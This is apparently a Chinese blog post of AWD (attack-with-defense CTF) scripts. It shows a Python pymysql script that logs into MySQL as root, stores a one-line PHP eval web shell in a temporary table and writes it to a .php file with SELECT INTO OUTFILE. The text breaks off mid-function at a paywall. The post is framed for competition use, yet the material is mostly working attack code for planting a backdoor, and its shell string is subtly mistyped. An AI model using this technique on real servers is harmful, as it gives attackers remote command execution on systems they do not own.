awd中sql连接进行恶意操作（前提是可以在不连接ssh情况下直接连接）

蕾米莉亚《'';

于 2025-01-10 14:19:14 发布

阅读量118

点赞数 1

分类专栏： awd脚本文章标签： sql ssh

本文链接：https://blog.youkuaiyun.com/2301_80867077/article/details/145057427

版权

import pymysql


def write_string_to_file_using_mysql():
    try:
        # 连接到MySQL数据库
        connection = pymysql.connect(
            host='localhost',
            user='root',
            password='zjx',
            database='userdb',
            charset='utf8mb4'
        )
        cursor = connection.cursor()

        # 创建临时表
        create_table_query = "CREATE TEMPORARY TABLE temp_table (content TEXT)"
        cursor.execute(create_table_query)

        # 要写入文件的字符串
        string_to_write = '<?php @eval(@_POST[cmd]);?>'
        insert_query = f"INSERT INTO temp_table (content) VALUES ('{string_to_write}')"
        cursor.execute(insert_query)

        # 将临时表中的数据写入文件
        select_query = r"SELECT content INTO OUTFILE 'C:\Users\OMEN\Desktop\123.php' FROM temp_table"
        cursor.execute(select_query)

最低0.47元/天解锁文章